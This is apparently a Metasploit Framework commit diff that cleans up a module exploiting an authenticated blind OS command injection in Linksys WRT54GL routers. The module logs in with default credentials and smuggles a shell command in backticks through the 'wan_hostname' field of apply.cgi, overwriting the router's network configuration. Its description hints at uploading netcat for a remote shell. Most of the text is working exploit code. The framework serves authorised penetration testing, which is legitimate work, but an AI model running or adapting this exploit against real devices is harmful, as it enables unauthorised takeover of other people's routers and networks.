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metasploit-framework
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cleanup for linksys_wrt54gl_exec

bug/bundler_fix
jvazquez-r7 2013-01-24 17:50:14 +01:00
parent 816bc79d9d
commit 1fc747994e
1 changed files with 118 additions and 107 deletions
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225
modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
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@ -17,14 +17,14 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
Some Linksys Routers are vulnerable to OS Command injection.
You will need credentials to the web interface to access the vulnerable part
of the application.
Default credentials are always a good starting point. admin/admin or admin
of the application.
Default credentials are always a good starting point. admin/admin or admin
and blank password could be a first try.
Note: This is a blind os command injection vulnerability. This means that
you will not see any output of your command. Try a ping command to your
Note: This is a blind os command injection vulnerability. This means that
you will not see any output of your command. Try a ping command to your
local system for a first test.
Hint: To get a remote shell you could upload a netcat binary and exec it.
Hint: To get a remote shell you could upload a netcat binary and exec it.
WARNING: Backup your network and dhcp configuration. We will overwrite it!
Have phun
},
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
[ 'EDB', '24202' ],
[ 'BID', '57459' ],
[ 'OSVDB', '89421' ],
[ 'OSVDB', '89421' ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 18 2013'))
@ -47,13 +47,13 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(80),
OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']),
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']),
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
], self.class)
end
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
routername = datastore['ROUTER_NAME']
wandomain = datastore['WAN_DOMAIN']
wanmtu = datastore['WAN_MTU']
if datastore['LANIP'] !~ /1.1.1.1/
#there is a configuration from the user so we use LANIP for the router configuration
ip = datastore['LANIP'].split('.')
@ -74,9 +74,8 @@ class Metasploit3 < Msf::Auxiliary
#no configuration from user so we use RHOST for the router configuration
ip = rhost.split('.')
end
# not sure if this is a good way for blank passwords:
if datastore['PASSWORD'] == "<BLANK>"
if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
@ -84,108 +83,120 @@ class Metasploit3 < Msf::Auxiliary
print_status("Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'basic_auth' => "#{user}:#{pass}"
})
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'basic_auth' => "#{user}:#{pass}"
})
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("#{rhost} not responding")
end
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("#{rhost} not responding")
return :abort
end
return :abort if (res.code == 404)
if (res.code == 404)
print_error("Not Found page returned")
return :abort
end
if [200, 301, 302].include?(res.code)
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
else
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
return :abort
end
if [200, 301, 302].include?(res.code)
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
else
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
return :abort
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
print_status("Sending remote command: " + datastore['CMD'])
# cmd = Rex::Text.uri_encode(datastore['CMD'])
cmd = datastore['CMD']
#original Post Request:
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
if datastore['VERBOSE'] == true
print_line("using the following target URL: \n#{uri}")
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
begin
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'basic_auth' => "#{pass}:#{pass}",
#'data' => data_cmd,
cmd = datastore['CMD']
'vars_post' =>
{
'submit_button' => "index",
'change_action' => "1",
'submit_type' => "1",
'action' => "Apply",
'now_proto' => "dhcp",
'daylight_time' => "1",
'lan_ipaddr' => "4",
'wait_time' => "0",
'need_reboot' => "0",
'ui_language' => "de",
'wan_proto' => "dhcp",
'router_name' => "#{routername}",
'wan_hostname' => "`#{cmd}`",
'wan_domain' => "#{wandomain}",
'mtu_enable' => "1",
'wan_mtu' => "#{wanmtu}",
'lan_ipaddr_0' => "#{ip[0]}",
'lan_ipaddr_1' => "#{ip[1]}",
'lan_ipaddr_2' => "#{ip[2]}",
'lan_ipaddr_3' => "#{ip[3]}",
'lan_netmask' => "#{netmask}",
'lan_proto' => "dhcp",
'dhcp_check' => "1",
'dhcp_start' => "100",
'dhcp_num' => "50",
'dhcp_lease' => "0",
'wan_dns' => "4",
'wan_dns0_0' => "0",
'wan_dns0_1' => "0",
'wan_dns0_2' => "0",
'wan_dns0_3' => "0",
'wan_dns1_0' => "0",
'wan_dns1_1' => "0",
'wan_dns1_2' => "0",
'wan_dns1_3' => "0",
'wan_dns2_0' => "0",
'wan_dns2_1' => "0",
'wan_dns2_2' => "0",
'wan_dns2_3' => "0",
'wan_wins' => "4",
'wan_wins_0' => "0",
'wan_wins_1' => "0",
'wan_wins_2' => "0",
'wan_wins_3' => "0",
'time_zone' => "-08+1+1",
'_daylight_time' => '1'
},
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
print_line("")
print_status("Sending remote command: " + cmd)
#cmd = Rex::Text.uri_encode(datastore['CMD'])
#original Post Request:
#data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
#data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
#data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
#data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
#data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
#data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
#data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
#data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
vprint_status("using the following target URL: #{uri}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'basic_auth' => "#{pass}:#{pass}",
#'data' => data_cmd,
'vars_post' => {
'submit_button' => "index",
'change_action' => "1",
'submit_type' => "1",
'action' => "Apply",
'now_proto' => "dhcp",
'daylight_time' => "1",
'lan_ipaddr' => "4",
'wait_time' => "0",
'need_reboot' => "0",
'ui_language' => "de",
'wan_proto' => "dhcp",
'router_name' => "#{routername}",
'wan_hostname' => "`#{cmd}`",
'wan_domain' => "#{wandomain}",
'mtu_enable' => "1",
'wan_mtu' => "#{wanmtu}",
'lan_ipaddr_0' => "#{ip[0]}",
'lan_ipaddr_1' => "#{ip[1]}",
'lan_ipaddr_2' => "#{ip[2]}",
'lan_ipaddr_3' => "#{ip[3]}",
'lan_netmask' => "#{netmask}",
'lan_proto' => "dhcp",
'dhcp_check' => "1",
'dhcp_start' => "100",
'dhcp_num' => "50",
'dhcp_lease' => "0",
'wan_dns' => "4",
'wan_dns0_0' => "0",
'wan_dns0_1' => "0",
'wan_dns0_2' => "0",
'wan_dns0_3' => "0",
'wan_dns1_0' => "0",
'wan_dns1_1' => "0",
'wan_dns1_2' => "0",
'wan_dns1_3' => "0",
'wan_dns2_0' => "0",
'wan_dns2_1' => "0",
'wan_dns2_2' => "0",
'wan_dns2_3' => "0",
'wan_wins' => "4",
'wan_wins_0' => "0",
'wan_wins_1' => "0",
'wan_wins_2' => "0",
'wan_wins_3' => "0",
'time_zone' => "-08+1+1",
'_daylight_time' => '1'
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
if res and res.code == 200
print_status("Blind Exploitation - Response expected")
else
print_error("Blind Exploitation - Response don't expected")
end
print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
print_status("Blind Exploitation - unknown Exploitation state\n")
print_status("Blind Exploitation - unknown Exploitation state")
end
end